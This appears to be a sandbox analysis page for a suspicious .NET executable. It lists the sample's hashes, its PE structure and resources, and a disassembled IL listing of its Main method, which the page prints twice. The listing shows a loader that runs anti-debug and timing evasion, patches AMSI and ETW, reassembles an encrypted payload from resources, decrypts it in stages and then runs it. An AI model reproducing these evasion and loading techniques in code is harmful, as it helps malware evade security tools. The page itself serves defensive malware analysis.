Suspicious
Suspect

7d1d0545958d3edea92a687381373134

Share on LinkedIn
Print
PE Executable
MD5: 7d1d0545958d3edea92a687381373134
Size: 3.81 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score High
MD5 7d1d0545958d3edea92a687381373134
Sha1 96bd4f463a2fcd786c031b5cf0e970e99e204d75
Sha256 be578f42ec4601a6a3c90acbbf26450aaba7288c4a8019fd4dbd23924326bfb4
Sha384 872224888841c6300119d3122fc8503785eb53ccde2ca89045404ebce18a96e039c0f8dde6945a694e65643210a20bf7
Sha512 f74bf550036b594042e4473d9802118b176c1ba2662f3545d9a2544e59881d58c57f9dc9779087f3704a945b9cbf106e24e99f827b85cf1de59dd36fb1ec8d5a
SSDeep 12288:vh4x5sv1puMlEZzU+8hAMEeg7WfZGVYipZMQXzexSh:
TLSH 8306234B33B1DD4DE75FC6B20807C0F16893DA53805B2F9B4DD460798A66D4AAEE016F
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
7d1d0545958d3edea92a687381373134
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.text279
.reloc
Resources
RT_VERSION
ID:0001
ID:1033
.Net Resources
System.Windows.Forms.resources
Microsoft.VisualBasic.resources
System.ServiceModel.resources
System.Data.resources
System.Design.resources
Rc32bd4ff
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
ekv3zbwv.4wu.exe
Full Name
ekv3zbwv.4wu.exe
EntryPoint
System.Void Tb9bdc010::Main(System.String[])
Scope Name
ekv3zbwv.4wu.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ekv3zbwv.4wu
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
20
Main Method
System.Void Tb9bdc010::Main(System.String[])
Main IL Instruction Count
255
Main IL 
call System.Boolean Tb9bdc010::Rdd099ed7()
brtrue.s IL_000C: call System.Void Tb9bdc010::AntiDebug()
leave IL_0261: ret
call System.Void Tb9bdc010::AntiDebug()
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_001F: ldloc.2
ldloc.0 <null>
ldloc.2 <null>
add <null>
stloc.0 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldc.i4 1000000
blt.s IL_0017: ldloc.0
ldloc.0 <null>
ldc.i4.0 <null>
bge.s IL_0030: ldc.i4 2000
leave IL_0261: ret
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.0 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldloc.1 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0251: ldc.i4.s 10
call System.Void Tb9bdc010::Pdd77e973()
ldc.i4.1 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchETW()
ldc.i4.2 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchAMSI()
ldc.i4.3 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.4 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::Fdb6a18131aa2
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F3d0a1b3d2f17
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_4
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F87f00f047090
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_5
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F1e3517b0f202
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_6
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F2a95ac559bf5
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_7
ldc.i4.6 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr System.Windows.Forms.resources
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr Microsoft.VisualBasic.resources
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr System.ServiceModel.resources
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr System.Data.resources
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr System.Design.resources
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr Rc32bd4ff
stelem.ref <null>
stloc.s V_8
ldc.i4.6 <null>
newarr System.Int32
dup <null>
ldtoken Ta8341943/Ta69b9601 Ta8341943::Fae1ff503da40
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
ldc.i4.0 <null>
stloc.s V_14
br.s IL_0151: ldloc.s V_14
ldloc.s V_10
ldloc.s V_9
ldloc.s V_14
ldelem.i4 <null>
add <null>
stloc.s V_10
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_9
ldlen <null>
conv.i4 <null>
blt.s IL_0141: ldloc.s V_10
ldloc.s V_10
newarr System.Byte
stloc.s V_11
ldc.i4.0 <null>
stloc.s V_12
ldc.i4.0 <null>
stloc.s V_15
br IL_0203: ldloc.s V_15
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_8
ldloc.s V_15
ldelem.ref <null>
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_16
ldloc.s V_16
brtrue.s IL_0187: ldloc.s V_9
leave IL_0261: ret
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
ldc.i4.4 <null>
mul <null>
stloc.s V_17
ldloc.s V_17
newarr System.Byte
stloc.s V_18
ldc.i4.0 <null>
stloc.s V_19
br.s IL_01BC: ldloc.s V_19
ldloc.s V_16
ldloc.s V_18
ldloc.s V_19
ldloc.s V_17
ldloc.s V_19
sub <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ble.s IL_01C2: ldc.i4.0
ldloc.s V_19
ldloc.s V_20
add <null>
stloc.s V_19
ldloc.s V_19
ldloc.s V_17
blt.s IL_019E: ldloc.s V_16
ldc.i4.0 <null>
stloc.s V_21
br.s IL_01DC: ldloc.s V_21
ldloc.s V_11
ldloc.s V_12
ldloc.s V_21
add <null>
ldloc.s V_18
ldloc.s V_21
ldc.i4.4 <null>
mul <null>
ldelem.u1 <null>
stelem.i1 <null>
ldloc.s V_21
ldc.i4.1 <null>
add <null>
stloc.s V_21
ldloc.s V_21
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
blt.s IL_01C7: ldloc.s V_11
ldloc.s V_12
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
add <null>
stloc.s V_12
leave.s IL_01FD: ldloc.s V_15
ldloc.s V_16
brfalse.s IL_01FC: endfinally
ldloc.s V_16
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_8
ldlen <null>
conv.i4 <null>
blt IL_016D: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_11
ldloc.s V_7
call System.Byte[] Tb9bdc010::Xf92a4064(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.s V_6
call System.Byte[] Tb9bdc010::R9b495235(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.3 <null>
ldloc.s V_4
ldloc.s V_5
call System.Byte[] Tb9bdc010::D92a77252(System.Byte[],System.Byte[],System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
brfalse.s IL_024C: ldc.i4.s 10
ldloc.s V_13
ldlen <null>
brfalse.s IL_024C: ldc.i4.s 10
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_13
call System.Void Tb9bdc010::M43036e42(System.Byte[])
ldc.i4.s 10
stloc.1 <null>
br.s IL_0254: ldloc.1
ldc.i4.s 10
stloc.1 <null>
ldloc.1 <null>
ldc.i4.s 10
blt IL_0041: ldloc.1
leave.s IL_0261: ret
pop <null>
leave.s IL_0261: ret
ret <null>
Module Name
ekv3zbwv.4wu.exe
Full Name
ekv3zbwv.4wu.exe
EntryPoint
System.Void Tb9bdc010::Main(System.String[])
Scope Name
ekv3zbwv.4wu.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ekv3zbwv.4wu
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
20
Main Method
System.Void Tb9bdc010::Main(System.String[])
Main IL Instruction Count
255
Main IL 
call System.Boolean Tb9bdc010::Rdd099ed7()
brtrue.s IL_000C: call System.Void Tb9bdc010::AntiDebug()
leave IL_0261: ret
call System.Void Tb9bdc010::AntiDebug()
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_001F: ldloc.2
ldloc.0 <null>
ldloc.2 <null>
add <null>
stloc.0 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldc.i4 1000000
blt.s IL_0017: ldloc.0
ldloc.0 <null>
ldc.i4.0 <null>
bge.s IL_0030: ldc.i4 2000
leave IL_0261: ret
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.0 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldloc.1 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0251: ldc.i4.s 10
call System.Void Tb9bdc010::Pdd77e973()
ldc.i4.1 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchETW()
ldc.i4.2 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchAMSI()
ldc.i4.3 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.4 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::Fdb6a18131aa2
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F3d0a1b3d2f17
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_4
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F87f00f047090
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_5
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F1e3517b0f202
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_6
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F2a95ac559bf5
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_7
ldc.i4.6 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr System.Windows.Forms.resources
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr Microsoft.VisualBasic.resources
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr System.ServiceModel.resources
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr System.Data.resources
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr System.Design.resources
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr Rc32bd4ff
stelem.ref <null>
stloc.s V_8
ldc.i4.6 <null>
newarr System.Int32
dup <null>
ldtoken Ta8341943/Ta69b9601 Ta8341943::Fae1ff503da40
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
ldc.i4.0 <null>
stloc.s V_14
br.s IL_0151: ldloc.s V_14
ldloc.s V_10
ldloc.s V_9
ldloc.s V_14
ldelem.i4 <null>
add <null>
stloc.s V_10
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_9
ldlen <null>
conv.i4 <null>
blt.s IL_0141: ldloc.s V_10
ldloc.s V_10
newarr System.Byte
stloc.s V_11
ldc.i4.0 <null>
stloc.s V_12
ldc.i4.0 <null>
stloc.s V_15
br IL_0203: ldloc.s V_15
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_8
ldloc.s V_15
ldelem.ref <null>
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_16
ldloc.s V_16
brtrue.s IL_0187: ldloc.s V_9
leave IL_0261: ret
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
ldc.i4.4 <null>
mul <null>
stloc.s V_17
ldloc.s V_17
newarr System.Byte
stloc.s V_18
ldc.i4.0 <null>
stloc.s V_19
br.s IL_01BC: ldloc.s V_19
ldloc.s V_16
ldloc.s V_18
ldloc.s V_19
ldloc.s V_17
ldloc.s V_19
sub <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ble.s IL_01C2: ldc.i4.0
ldloc.s V_19
ldloc.s V_20
add <null>
stloc.s V_19
ldloc.s V_19
ldloc.s V_17
blt.s IL_019E: ldloc.s V_16
ldc.i4.0 <null>
stloc.s V_21
br.s IL_01DC: ldloc.s V_21
ldloc.s V_11
ldloc.s V_12
ldloc.s V_21
add <null>
ldloc.s V_18
ldloc.s V_21
ldc.i4.4 <null>
mul <null>
ldelem.u1 <null>
stelem.i1 <null>
ldloc.s V_21
ldc.i4.1 <null>
add <null>
stloc.s V_21
ldloc.s V_21
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
blt.s IL_01C7: ldloc.s V_11
ldloc.s V_12
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
add <null>
stloc.s V_12
leave.s IL_01FD: ldloc.s V_15
ldloc.s V_16
brfalse.s IL_01FC: endfinally
ldloc.s V_16
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_8
ldlen <null>
conv.i4 <null>
blt IL_016D: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_11
ldloc.s V_7
call System.Byte[] Tb9bdc010::Xf92a4064(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.s V_6
call System.Byte[] Tb9bdc010::R9b495235(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.3 <null>
ldloc.s V_4
ldloc.s V_5
call System.Byte[] Tb9bdc010::D92a77252(System.Byte[],System.Byte[],System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
brfalse.s IL_024C: ldc.i4.s 10
ldloc.s V_13
ldlen <null>
brfalse.s IL_024C: ldc.i4.s 10
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_13
call System.Void Tb9bdc010::M43036e42(System.Byte[])
ldc.i4.s 10
stloc.1 <null>
br.s IL_0254: ldloc.1
ldc.i4.s 10
stloc.1 <null>
ldloc.1 <null>
ldc.i4.s 10
blt IL_0041: ldloc.1
leave.s IL_0261: ret
pop <null>
leave.s IL_0261: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙